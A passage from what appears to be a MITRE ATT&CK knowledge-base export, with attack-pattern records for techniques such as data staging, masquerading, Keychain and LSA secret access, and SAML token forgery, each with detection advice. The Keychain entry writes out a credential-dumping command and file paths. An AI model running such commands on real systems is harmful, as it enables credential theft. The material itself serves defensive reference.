"source_name": "LOLBAS Mavinject",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/"
},
{
"description": "Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021.",
"external_id": null,
"source_name": "Mavinject Functionality Deconstructed",
"url": "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e"
},
{
"description": "Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021.",
"external_id": null,
"source_name": "Reaqta Mavinject",
"url": "https://reaqta.com/2017/12/mavinject-microsoft-injector/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.
Adversaries may rename abusable binaries to evade detections, but the argument <code>INJECTRUNNING</code> is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 2.0 |
attack-pattern | attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-13T21:13:10.467000Z" | "2022-04-21T16:07:10.829000Z" | Local Data Staging | Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.
Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1074.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1074/001"
},
{
"description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.",
"external_id": null,
"source_name": "Prevailion DarkWatchman 2021",
"url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.
Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-10T20:43:10.239000Z" | "2023-09-14T21:12:48.409000Z" | Match Legitimate Name or Location | Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.
Adversaries may also use the same icon of the file they are trying to mimic. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1036.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/005"
},
{
"description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.",
"external_id": null,
"source_name": "Twitter ItsReallyNick Masquerading Update",
"url": "https://twitter.com/ItsReallyNick/status/1055321652777619457"
},
{
"description": "Docker. (n.d.). Docker Images. Retrieved April 6, 2021.",
"external_id": null,
"source_name": "Docker Images",
"url": "https://docs.docker.com/engine/reference/commandline/images/"
},
{
"description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
"external_id": null,
"source_name": "Elastic Masquerade Ball",
"url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.
If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)
In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Containers"
] | 1.2 |
attack-pattern | attack-pattern--1cec9319-743b-4840-bb65-431547bce82a | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T01:42:24.974000Z" | "2021-10-16T17:32:34.604000Z" | Digital Certificates | Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).
Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).
After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1587.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1587/003"
},
{
"description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
"external_id": null,
"source_name": "Splunk Kovar Certificates 2017",
"url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)
Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.2 |
attack-pattern | attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-02T14:22:24.410000Z" | "2022-04-19T23:03:49.461000Z" | Stored Data Manipulation | Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1565.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1565/001"
},
{
"description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
"external_id": null,
"source_name": "DOJ Lazarus Sony 2018",
"url": "https://www.justice.gov/opa/press-release/file/1092091/download"
},
{
"description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
"external_id": null,
"source_name": "FireEye APT38 Oct 2018",
"url": "https://content.fireeye.com/apt/rpt-apt38"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:38:56.197000Z" | "2023-03-30T21:01:48.643000Z" | Password Cracking | Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A)
Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1110.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1110/002"
},
{
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "US-CERT-TA18-106A",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
},
{
"description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.",
"external_id": null,
"source_name": "Wikipedia Password cracking",
"url": "https://en.wikipedia.org/wiki/Password_cracking"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003). | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Office 365",
"Azure AD",
"Network"
] | 1.2 |
attack-pattern | attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-19T18:46:06.098000Z" | "2020-03-24T17:59:20.983000Z" | Local Email Collection | Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.
Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\<username>\Documents\Outlook Files` or `C:\Users\<username>\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1114.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1114/001"
},
{
"description": "N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020.",
"external_id": null,
"source_name": "Outlook File Sizes",
"url": "https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/"
},
{
"description": "Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020.",
"external_id": null,
"source_name": "Microsoft Outlook Files",
"url": "https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-12T18:55:24.728000Z" | "2022-04-18T20:32:22.122000Z" | Keychain | Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service.
Keychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)
Adversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain –d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1555.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1555/001"
},
{
"description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
"external_id": null,
"source_name": "External to DA, the OS X Way",
"url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
},
{
"description": "Apple. (n.d.). Keychain Services. Retrieved April 11, 2022.",
"external_id": null,
"source_name": "Keychain Services Apple",
"url": "https://developer.apple.com/documentation/security/keychain_services"
},
{
"description": "Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.",
"external_id": null,
"source_name": "Empire Keychain Decrypt",
"url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py"
},
{
"description": "Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.",
"external_id": null,
"source_name": "OSX Keychain Schaumann",
"url": "https://www.netmeister.org/blog/keychain-passwords.html"
},
{
"description": "Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.",
"external_id": null,
"source_name": "Keychain Decryption Passware",
"url": "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS"
] | 1.1 |
attack-pattern | attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-23T17:46:59.535000Z" | "2024-04-16T12:26:07.945000Z" | Boot or Logon Autostart Execution | Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.
Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1547",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547"
},
{
"description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.",
"external_id": null,
"source_name": "Cylance Reg Persistence Sept 2013",
"url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
},
{
"description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
"external_id": null,
"source_name": "MSDN Authentication Packages",
"url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx"
},
{
"description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.",
"external_id": null,
"source_name": "Microsoft Run Key",
"url": "http://msdn.microsoft.com/en-us/library/aa376977"
},
{
"description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
"external_id": null,
"source_name": "Microsoft TimeProvider",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"
},
{
"description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
"external_id": null,
"source_name": "Linux Kernel Programming",
"url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
},
{
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"external_id": null,
"source_name": "TechNet Autoruns",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed.
Suspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.
Monitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 1.2 |
attack-pattern | attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-21T16:22:09.493000Z" | "2021-04-21T21:12:38.361000Z" | LSA Secrets | Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)
[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1003.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003/004"
},
{
"description": "Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.",
"external_id": null,
"source_name": "Passcape LSA Secrets",
"url": "https://www.passcape.com/index.php?section=docsys&cmd=details&id=23"
},
{
"description": "Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.",
"external_id": null,
"source_name": "Microsoft AD Admin Tier Model",
"url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN"
},
{
"description": "Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.",
"external_id": null,
"source_name": "Tilbury Windows Credentials",
"url": "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf"
},
{
"description": "Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.",
"external_id": null,
"source_name": "ired Dumping LSA Secrets",
"url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets"
},
{
"description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
"external_id": null,
"source_name": "Powersploit",
"url": "https://github.com/mattifestation/PowerSploit"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-19T18:47:08.759000Z" | "2020-10-21T22:37:49.258000Z" | Weaken Encryption | Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)
Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.
Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1600",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1600"
},
{
"description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "Cisco Synful Knock Evolution",
"url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
},
{
"description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Cisco Blog Legacy Device Attacks",
"url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Network"
] | 1.0 |
attack-pattern | attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-12-17T15:24:12.240000Z" | "2024-03-01T17:55:56.116000Z" | SAML Tokens | An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)
An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1606.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1606/002"
},
{
"description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.",
"external_id": null,
"source_name": "Microsoft SolarWinds Steps",
"url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/"
},
{
"description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.",
"external_id": null,
"source_name": "Microsoft SAML Token Lifetimes",
"url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes"
},
{
"description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
"external_id": null,
"source_name": "Microsoft SolarWinds Customer Guidance",
"url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
},
{
"description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.",
"external_id": null,
"source_name": "Cyberark Golden SAML",
"url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"
},
{
"description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.",
"external_id": null,
"source_name": "Sygnia Golden SAML",
"url": "https://www.sygnia.co/golden-saml-advisory"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)
Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Azure AD",
"SaaS",
"Windows",
"Office 365",
"Google Workspace",
"IaaS"
] | 1.3 |
